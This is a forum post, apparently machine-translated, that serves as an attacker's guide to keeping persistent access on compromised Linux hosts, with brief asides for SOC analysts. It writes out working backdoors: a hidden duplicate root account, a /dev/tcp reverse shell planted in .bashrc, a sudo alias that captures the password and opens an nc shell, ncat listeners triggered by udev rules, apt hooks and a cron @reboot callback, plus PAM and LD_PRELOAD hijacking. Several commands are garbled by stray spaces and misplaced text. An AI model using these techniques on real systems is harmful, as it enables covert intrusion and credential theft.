Hacker
Professional
- Messages
- 1,044
- Reaction score
- 812
- Points
- 113
You have gained access to the system - this is good, but the second question appears, how not to lose it. Shutting down the node, shutting down the process - all of this again breaks the connection. And you have to start over. Even if you were able to obtain the credentials of the current user, changing the password can create many problems. In this article, I have collected in one place the methods I know, ranging from simple to noisy, but there are also elegant options for my taste. Today we will look at how not to lose access to the system.This article was written for educational purposes only. We do not call anyone to anything, only for information purposes! The author is not responsible for your actions
Don't expect any rocket science. Nothing that you might not have known before. And, of course, I wrote this article for informational purposes only. Everything that you do after this will be on your conscience and on your responsibility.
Create a new user
So that the user does not change the password, of course no one should know about it, you can create your own. The main task is to do this discreetly so that it is not deleted.
Level 0: adduser hacker
Level 1: - a lower-level command, allows you to set several parameters: and the path to the home directory (you may not create it at all to remain unnoticed for longer), the default shell, the user UID. Tip: set the UID less than 1000 to make your UZ look like an admin daemon. And it won't even appear on the welcome screen (who is using the GUI?). You can immediately add a user to the root group. Or don't forget to at least register your user with sudoers.useradd -s / bin / bash hacker
Level 99: sudo useradd -o -u 0 -g 0 -s / bin / bash deamon - with this command we made it possible to create users with non-unique UIDs and create a new root (uid = 0) for which there is no home directory. Note that the username is funny - this is not a typo.
Special perverts can manually edit the files /etc/passwd, /etc/shadow and /etc/group, and create a home directory.
As a SOC analyst, I can say for sure that we are very closely monitoring the changes in everyone. / etc / passwd и / etc / shadow. So whichever way you choose to create a user, you will be very easily noticed. And then I can say that there is a way to create a user without writing to a file For this you can define an alternative passwd base in a file/ etc / passwd. /etc/nsswitch.conf.
SSH keys. Another way not to lose access when you change your password is to write the public key to ~ / .ssh / authorized_keys. So the password is no longer required. It's simple, generate a key ssh-keygen, add the key .pub to and don't forget to set the correct rights (600) if you haven't already. Otherwise, you wo n't be able to use your backdoor.authorized_keys
"Startup"
By automatic loading, I mean any action that will be performed automatically when the system starts or when a user logs on to the system. To understand exactly where we can gain a foothold, we need to understand how the system boots, what are the stages.Kernel-level autoloading
The first step is to initialize the system kernel, which already starts the initialization subsystem (systemd, init, upstart) . Here we are unlikely to be able to benefit ourselves. in the config file using the init kernel parameter you can specify which program should run immediately after the kernel initialization is complete. You can load bash shell instead of systemd. Usually useful for resetting the root password if you have forgotten it. Grub /boot/grub2/grub.cfg
linux /vmlinuz-4.8.0-22-generic root=/dev/mapper/systems-ubuntu ro quiet init=/bin/bash
systemd - autoload init system
This process is responsible for starting system daemons, additional services, and scripts during the system initialization phase. Typically the init system has a PID of 1. Use ps -p1 | grep "init \ | upstart \ | systemd to find out your init system. The most up-to-date and widespread is systemd. Any script can be added to startup as a service. To do this, you need to create a module file:
Code:
[Unit]
Description=My Script Service
After=multi-user.target
[Service]
Type=idle
ExecStart=/usr/bin/local/script.sh
[Install]
WantedBy=multi-user.target
Then you need to make the script executable sudo chmod u+x /usr/local/bin/script.sh and activate the service sudo systemctl enable myscript.service.
I will not describe the unit file format here. There is Google for that. (for example, here). And this is beyond the scope of the topic of the article. But it's worth mentioning where the unit-phases are usually located in the system:
- /usr/lib/systemd/system/ - units from installed RPM packages - all sorts of nginx, apache, mysql, etc.
- /run/systemd/system/ - units created on the fly - about them a little later
- ~/.config/systemd/user/ - this path will be useful to you if you were unable to rise to root. Here are user-mode services.
- /etc/systemd/system/ - units created by the system administrator. You can place your unit files here. And you can make changes to existing ones, which will be less noticeable. Only the flight of your imagination will help here.
- Create your service.
- Add it to the Requires parameter of another legitimate service. And add your code to the OnFailure section. As a result, your service will start along with the legal one. If the administrator finds the file with the disk and deletes it, the legitimate service will not be able to start (no dependency is required), this will cause an error and the code from the OnFailure section will be executed.
Who is leading you?
It's worth noting here that systemd manages services and daemons, and they are different entities. The main difference between the daemon is that it is a non-interactive background program, completely independent of user input. In addition to your services, you can create your own daemons. There are several types of systemd disks, and you can use any of them, depending on your purpose: service, device, target, mount, automount, timer, socket, path, slice.
Rc.local and rc.common autoloading
This way of loading the script no longer works. On modern Unix systems, this functionality has been completely replaced by systemd, but the MITER ATT & CK matrix separates RC scripts into a separate technique. Just add your code to /etc/rc.local. Interestingly, after the system boots, the scripts are executed as root.
To ensure backward compatibility in systems using systemd, a special generator is used /usr/lib/systemd/system-generators/systemd-sysv-generator, which /etc/init.d generates unit files for RC scripts on the fly and executes them as services. They are located in /run/systemd/system/.
Desktop environments - XDG autostart
Most desktop environments and windows managers support XDG to start automatically. Entities are stored in and have the extension. The code defined in these files is executed when the user logs in and loads the desktop environment. Commands are executed in the context of the logged on user. Delayed start and other parameters can be configured. In fact, paths are determined by environment variables and can be modified to avoid detection if read / write access to files is checked for specified directories.~ / .config / autostart или / etc / xdg / autostart /* .desktop~ / .config / autostart и / etc / xdg / autostart / $ XDG_CONFIG_HOME и $ XDG_CONFIG_DIRS
Code:
[Desktop Entry]
Type = Application # Defines the type of entity: application, link or directory
Name = Welcome # The name specified by the creator of the entity
Exec = / var / lib / gnome-welcome-tour # Command with arguments to be executed
.bashrc, .bash_profile and .bash_login
These files define the user's shell settings, in which you can define the commands to run when the terminal is started. Files also have system-wide counterparts that define system-wide settings and are located in the directory / etc /. Bash_profile runs only for interactive shells. - for interactive and non-interactive. In Ubuntu, the profile file will directly call the file. The file will not start if the system has Well or something like that. This is not the point..bashrc .bashrc. .bash_login .bashrc.
The bottom line is how we can use these files and what they allow us to do.
echo 'bash -i >& /dev/tcp/ip/port 0>&1' > ~/.bashrc - will be executed when the user logs in and will open the reverse shell, the main thing is to have a waiting listener where necessary.
A friend of mine asks one simple question during the interview: "Can the command to change directory be 10 characters long?" Answer: "Yes, as much as you like, if you hang up the alias ." If you develop the topic, you can think of how to execute several commands at once with one command. Open backconnect when calling sudo.
Code:
alias sudo = 'echo -n "[sudo] password for \ $ USER:"; read -s pwd; echo; unalias sudo; echo "\ $ pwd" | / usr / bin / sudo -S nohup nc -lvp 1234 -e / bin / bash> / dev / null && / usr / bin / sudo -S '
Most likely, such a backdoor will live exactly as long as the admin does not change the .bashrc. Although in some places they write that these are super secret techniques, because administrators very rarely re-read the shell configuration files.
Be it environment variables, especially if something is already specific. Just think, one more - one less. We write export PATH = $ PATH: / opt / local / bin in a file .bashrc - and then we put our own in / which first open a connection to C2 and only then display the directory structure. Since the PATH variable is parsed from the beginning, our malicious system variable is executed, not the good system variable. Spoiler alert: You cannot change the value of environment variables just via .bashrc. Well, the method is pretty dubious, you can only bookmark the executable itself at a time. But with the update they will forget.ls opt / local / bin,ls
Driver backdoor
The UNIX philosophy is that everything is a file. This also includes connected devices. The system has a directory x, which stores the rules for the normal operation of devices. By changing these rules, you can rename the device, set access rights to it, but the main thing that interests us is to run the script when the device is connected.
Code:
RSHELL="ncat ncat -lvp 1234 -e \"/bin/bash -c id;/bin/bash\" 2>/dev/null"
echo "ACTION==\"add\",ENV{DEVTYPE}==\"usb_device\",SUBSYSTEM==\"usb\",RUN+=\"$RSHELL\"" | tee /etc/udev/rules.d/71-vbox-kernel-drivers.rules > /dev/null
As you might have guessed, when a USB device is connected to the virtual machine, port 1234 will start listening while waiting for our commands.
Cron jobs
Crontab is the first thing that comes to mind when we talk about pinning on a Unix system. It seems that even comments are superfluous here. Crontab is a Linux task scheduler that allows you to perform actions after a certain period, for example, 0 2 * * * / bin / sh backup.sh, or when an event occurs (for example, a server restart):
Code:
(crontab -l; echo "@reboot sleep 200 && ncat 192.168.1.2 1234 -e / bin / bash") | crontab 2> / dev / null
You can put your scripts in special directories. Scripts must be executable and must not contain periods in their name.
- /etc/cron.minutely - every minute;
- /etc/cron.hourly - every hour;
- /etc/cron.daily - everyday;
- /etc/cron.weekly - every week;
- /etc/cron.monthly - every month.
Systemd timers are a good alternative to crontab. They can cause the execution of various actions in the system at a certain point in time. And even more, timers can still trigger a task a certain amount of time after an event occurs. By default, there are usually several timers in the system, they can be viewed using the command systemctl status * timer. In fact, timers are the same module files, only the name is not .service, but .timer, and they are associated with a specific service that needs to be started on a schedule. An example of a timer that starts myMonitor.service every minute:
Code:
[Unit]
Description=Logs some system statistics to the systemd journal
Requires=myMonitor.service
[Timer]
Unit=myMonitor.service
OnCalendar=--* ::00
[Install]
WantedBy=timers.target
PHP shell for web-server
The method is good, but not very practical. The stars must converge: the server you have access to must act as a web service. Well, or you need to raise apache yourself. In addition, through the shell, you can still execute restricted code of the service from which the service is started. Again, unless you restart the service as root. Or every time you need to look for a way to escalate privileges. But on the other hand, the method is rather unobtrusive, especially if your web shell accepts at least base64-encoded commands so as not to display system commands in nginx logs. Just kidding, the path is never invisible. Running cat id_rsa.pub> ~ / .ssh / authorized_keys as www-data is exactly what you get.
Dynamic link hijacking
How are the operating system utilities created? The code is written and then compiled. The code for at least one small, advanced and complex utility is not a file, but several that are connected as libraries to the main file. Libraries are static and dynamic. We are not interested in static ones - at the compilation stage, their entire code is placed in the executable file, and we have little influence on it. But dynamic ... These are separate independent files that are located somewhere in the operating system. When launched, the utility with external dependencies searches the operating system for the required libraries. This is where we can intervene.
First, we need to find a utility that uses the dynamic link library. Understand which function is being called. A utility will help us with this ltrace, which allows us to display the calls of all external functions. Then we create our library with the same name and define the same function in it. It is important that the signature of our function matches the signature of the original legitimate function. We compile and place on the target system.
How do I force the utility binary to use our library now? The dynamic linker function will help us, it loads the libraries defined in the variable first LD_PRELOAD, and these libraries take precedence over the rest. That is, we just need to change the environment variable LD_PRELOAD. One way is to export to .bashrc. The same can be done in files or / etc / environment /etc/security/pam_env.conf.
PAM
The Authentication the Modules the Pluggable (Pluggable Authentication Modules) - from the translation is easy to guess that this is the authentication modules. Before the advent of PAM, an administrator had to go through all 12 circles of hell to set up some kind of external authentication system. Now we need to change a couple of lines in several configuration files. If we set control_flag as per file for all modules, we can log in without a password. Administrators too. Therefore, our backdoor will quickly find and close the entry point.optional /etc/pam.d
A slightly less noticeable move is to write your own module. The file with it must be placed with other modules along the path / lib / x86_64-linux-gnu / security /. What you implement there depends on your imagination: a magic password that opens all doors, or logging passwords of other users, or you can immediately open a reverse connection (why not?). You can add your own module, you can replace the existing one. We take the sources, make a bookmark, assemble and replace.
apt-get
It is a pity, but this method is not the most reliable. Administrators don't like to update anything on critical servers. The configuration files for the apt utility (package manager) are stored in the directory /etc/apt/apt.conf.d/. If you have write access to this directory, there is a pretty convenient way to pin it. You will probably need root privileges. Create a file and write APT :: Update :: Pre-Invoke {"CMD"}; inside. Now every time the server admin runs apt-get update your command will be executed.
Code:
echo 'APT :: Update :: Pre-Invoke {"nohup ncat -lvp 1234 -e / bin / bash 2> / dev / null &"};' > /etc/apt/apt.conf.d/42backdoor
Method stolen from @RandoriSec .) I wonder if this can be done for apt-get install?
In magazines auditd I saw the launch ncat, but there is not the slightest hint of what caused the launch team. Thus, SOC analysts will have to work hard to figure out where their code is hiding and why it works.
Port knocking
If you google this technique, the first thing you see is “protect”, “strengthen” and “maintain a protective net”. It looks a bit like a system anchor.
In short, the gist: port 22 (SSH) is closed by default. But somewhere in the system there is a predefined sequence of ports (they are also closed), so if you select them in the correct order, magic happens and the port for connecting via SSH will open for your IP address. I've never heard of this before. But, as it turned out, the trick is quite common, even putty has a standard functionality for port knocking. The server must start a service that waits for someone to knock on its door. Most often this is the knockd service, it can be installed by the package manager and in the config file you can write what to expect and what to do. Well, you decide what to do: open the reverse shell or send a funny message to the administrator.

An ingenious technique reminiscent of banging passwords over a wall in a children's camp. There is only one small problem. Installing a new package is loud, but creating a new service is a shame. So you need to look for a server with knockd already installed and make your changes or disable logging.
trap
Another way defined in MITER ATT & CK. Sometimes special commands are sent to scripts and applications, for example ctrl + C, by intercepting which, scripts perform some actions. You can define these actions with a command trap. But I still did not find where I need to register this one trap, so that when I click on ctrl + C, for example, a reverse-shell opens from me. And to create your own script with which it works is very much to yourself. After all, then some user of the system must be forced to periodically run my script and even press ping ctrl + C.
Outcomes
In this article, I have tried to summarize the popular Linux pinning methods in one place. The point of consolidation is to stay in the system for as long as possible, which means that you have to go unnoticed. Hence, persistence goes hand in hand with some defensive tricks and your imagination. You define how you name the scripts and where they are placed. And the more it looks like a legitimate activity, the more chances you have to stay in the system for as long as possible. You could not help but notice that I paid a lot of attention to how this or that technique can betray you. A little later, I plan to collect material on how to remain unnoticed in the system for almost one hundred percent. And I hope that SOC analysts have taken at least a few things from this article that are worth paying attention to.